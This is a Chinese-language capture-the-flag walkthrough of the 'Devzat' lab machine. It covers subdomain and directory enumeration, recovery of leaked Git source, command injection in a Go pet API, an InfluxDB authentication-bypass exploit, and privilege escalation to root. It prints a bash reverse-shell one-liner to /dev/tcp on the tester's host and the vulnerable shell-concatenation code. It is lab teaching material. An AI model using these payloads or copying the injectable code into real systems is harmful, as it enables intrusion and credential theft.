信息收集
目标主机开放了web服务、ssh服务和另外一个在8000端口开放的ssh服务 我们尝试连接8000端口的ssh服务,发现是一个聊天窗口 查看完可执行的命令后,还是没有新的发现
访问web服务时,发现只是一个普通的推销网站而已,并且扫描目录文件时也没有发现有价值的信息
dirsearch -u "http://devzat.htb/" -e * -x404,403,500 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
既然没有有价值的信息,那么我们就得切换思路了,我们得尝试扫描是否存在子域名,存在一个pets子域
wfuzz -c -u "http://devzat.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hw 26 -H "HOST:FUZZ.devzat.htb"
访问子域网站的页面,发现是一个添加宠物姓名的一个功能站点 我们对这个url路径进行目录扫描,发现了一个git源码泄露
dirsearch -u "http://pets.devzat.htb" -e * -x404,403,500 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
访问目录时,我们发现存在以下目录。我们使用GitTools工具还原源码数据 还原出源码之后,我们看到存在一个main.go文件,我们可以打开main.go文件审计源码看看是否存在漏洞
漏洞利用
我们看到代码cmd := exec.Command("sh", "-c", "cat characteristics/"+species) 处存在一个命令注入,而且功能处是添加species种类处,我们可以利用这点执行恶意的代码。
package main
import (
"embed"
"encoding/json"
"fmt"
"io/fs"
"io/ioutil"
"log"
"net/http"
"os/exec"
"time"
)
var web embed.FS
var index []byte
type Pet struct {
Name string `json:"name"`
Species string `json:"species"`
Characteristics string `json:"characteristics"`
}
var (
Pets []Pet = []Pet{
{Name: "Cookie", Species: "cat", Characteristics: loadCharacter("cat")},
{Name: "Mia", Species: "cat", Characteristics: loadCharacter("cat")},
{Name: "Chuck", Species: "dog", Characteristics: loadCharacter("dog")},
{Name: "Balu", Species: "dog", Characteristics: loadCharacter("dog")},
{Name: "Georg", Species: "gopher", Characteristics: loadCharacter("gopher")},
{Name: "Gustav", Species: "giraffe", Characteristics: loadCharacter("giraffe")},
{Name: "Rudi", Species: "redkite", Characteristics: loadCharacter("redkite")},
{Name: "Bruno", Species: "bluewhale", Characteristics: loadCharacter("bluewhale")},
}
)
func loadCharacter(species string) string {
cmd := exec.Command("sh", "-c", "cat characteristics/"+species)
stdoutStderr, err := cmd.CombinedOutput()
if err != nil {
return err.Error()
}
return string(stdoutStderr)
}
func getPets(w http.ResponseWriter, r *http.Request) {
json.NewEncoder(w).Encode(Pets)
}
func addPet(w http.ResponseWriter, r *http.Request) {
reqBody, _ := ioutil.ReadAll(r.Body)
var addPet Pet
err := json.Unmarshal(reqBody, &addPet)
if err != nil {
e := fmt.Sprintf("There has been an error: %+v", err)
http.Error(w, e, http.StatusBadRequest)
return
}
addPet.Characteristics = loadCharacter(addPet.Species)
Pets = append(Pets, addPet)
w.WriteHeader(http.StatusOK)
fmt.Fprint(w, "Pet was added successfully")
}
func handleRequest() {
build, err := fs.Sub(web, "static/public/build")
if err != nil {
panic(err)
}
css, err := fs.Sub(web, "static/public/css")
if err != nil {
panic(err)
}
webfonts, err := fs.Sub(web, "static/public/webfonts")
if err != nil {
panic(err)
}
spaHandler := http.HandlerFunc(spaHandlerFunc)
http.Handle("/", headerMiddleware(spaHandler))
http.Handle("/build/", headerMiddleware(http.StripPrefix("/build", http.FileServer(http.FS(build)))))
http.Handle("/css/", headerMiddleware(http.StripPrefix("/css", http.FileServer(http.FS(css)))))
http.Handle("/webfonts/", headerMiddleware(http.StripPrefix("/webfonts", http.FileServer(http.FS(webfonts)))))
http.Handle("/.git/", headerMiddleware(http.StripPrefix("/.git", http.FileServer(http.Dir(".git")))))
apiHandler := http.HandlerFunc(petHandler)
http.Handle("/api/pet", headerMiddleware(apiHandler))
log.Fatal(http.ListenAndServe(":5000", nil))
}
func spaHandlerFunc(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write(index)
}
func petHandler(w http.ResponseWriter, r *http.Request) {
if r.Method == http.MethodPost {
addPet(w, r)
} else if r.Method == http.MethodGet {
getPets(w, r)
} else {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
}
}
func headerMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Add("Server", "My genious go pet server")
next.ServeHTTP(w, r)
})
}
func main() {
resetTicker := time.NewTicker(5 * time.Second)
done := make(chan bool)
go func() {
for {
select {
case <-done:
return
case <-resetTicker.C:
Pets = []Pet{
{Name: "Cookie", Species: "cat", Characteristics: loadCharacter("cat")},
{Name: "Mia", Species: "cat", Characteristics: loadCharacter("cat")},
{Name: "Chuck", Species: "dog", Characteristics: loadCharacter("dog")},
{Name: "Balu", Species: "dog", Characteristics: loadCharacter("dog")},
{Name: "Georg", Species: "gopher", Characteristics: loadCharacter("gopher")},
{Name: "Gustav", Species: "giraffe", Characteristics: loadCharacter("giraffe")},
{Name: "Rudi", Species: "redkite", Characteristics: loadCharacter("redkite")},
{Name: "Bruno", Species: "bluewhale", Characteristics: loadCharacter("bluewhale")},
}
}
}
}()
handleRequest()
time.Sleep(500 * time.Millisecond)
resetTicker.Stop()
done <- true
}
为了检测我们的代码可以成功运行,我们可以先使用ping命令检测是否能ping通我们本地的机器,抓包工具选择tcpdump较为方便 返回的结果是成功执行了命令,那么我们可以将我们的恶意代码进行base64编码,目的是为了确保命令执行时不会出现渲染问题。payload的设置是:先将编码的字符串进行解码,解码之后传给管道符以bash命令运行
echo -n 'bash -i >& /dev/tcp/10.10.14.44/4444 0>&1' | base64
反弹shell到本地机器上
提权到catherine
拿到shell后,发现我们并没有权限查看user.txt文件的权限,并且home目录下存在另一个账户catherine 。初步判断应该是要提权到这个用户权限上。我们使用万能提权脚本linpeas.sh 上传到目标机器上运行,发现目标机器上以root权限运行着一个docker代理程序,并且运行的端口为8086 因为目标机器的8086端口对外网不开放,所以我们必须使用内网穿透工具,利用端口转发技术将8086端口转发到我们的VPS机器上进行访问,所使用的工具是frp。我们先上传客户端到目标机器上,并在本机上运行服务端 客户端配置信息,server_addr是本机地址,server_port不用更改,local_port是要转发到本地机器的端口,remote_port是要被转发的机器的目标端口 穿透代理搭建成功后,我们可以扫描本地机子的8086端口,了解到开放的是InfluxDB 服务 在EDB上尝试过很多的exp,但是都没有成功。但是在github上发现了一个披露了的exp,经过验证发现可以利用成功,链接地址为https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933 发现了两个数据库,一个数据表,并查询数据表的信息,发现了catherine 用户名的密码 那么就获取到了user.txt文件的权限了
提权到ROOT
没办法,我们找二进制文件也没找到个所以然,只能再运行一遍神器linpeas.sh 这个脚本了。在/var/backups 这个目录上,发现了很多有趣的文件,如devzat-main.zip、devzat-dev.zip 这两个压缩包 将其复制到tmp目录解压,查看其中的commands.go文件存在可利用的漏洞点,比较main目录和dev目录下的commands.go文件的不同发现有一处对密码进行校验。这里我们要注意两个点,一个是fileCommand的方法,另一个是校验安全密码,如果密码不对直接结束方法。
diff commands.go ../dev/commands.go
在审计GO代码时,我们发现对应的方法名字就是我们能执行命令的名字,但是唯独缺少了这个file命令,而且还存在校验密码的环节,所以很有可能是突破口。在审计dev目录下的devchat.go 文件发现,dev目录的功能是运行在目标主机的8443端口 但是我发现在反弹的shell中,并不能实现ssh的内部端口连接。但是很幸运我在.ssh中找到了登录凭据 成功使用patrick账户登录 发现没有密码,均报错 我们尝试使用密码看看返回信息有什么不同,它说不存在这个目录,那我们返回上一目录直接读取到flag了 同时我们也可以读取root的id_rsa进行获取root权限
总结
总的来说这个靶机相当复杂,同时考验GO语言的代码审计能力,获取权限的方式比较复杂,但是更加偏向于实战,这是一个非常出色的靶机。
|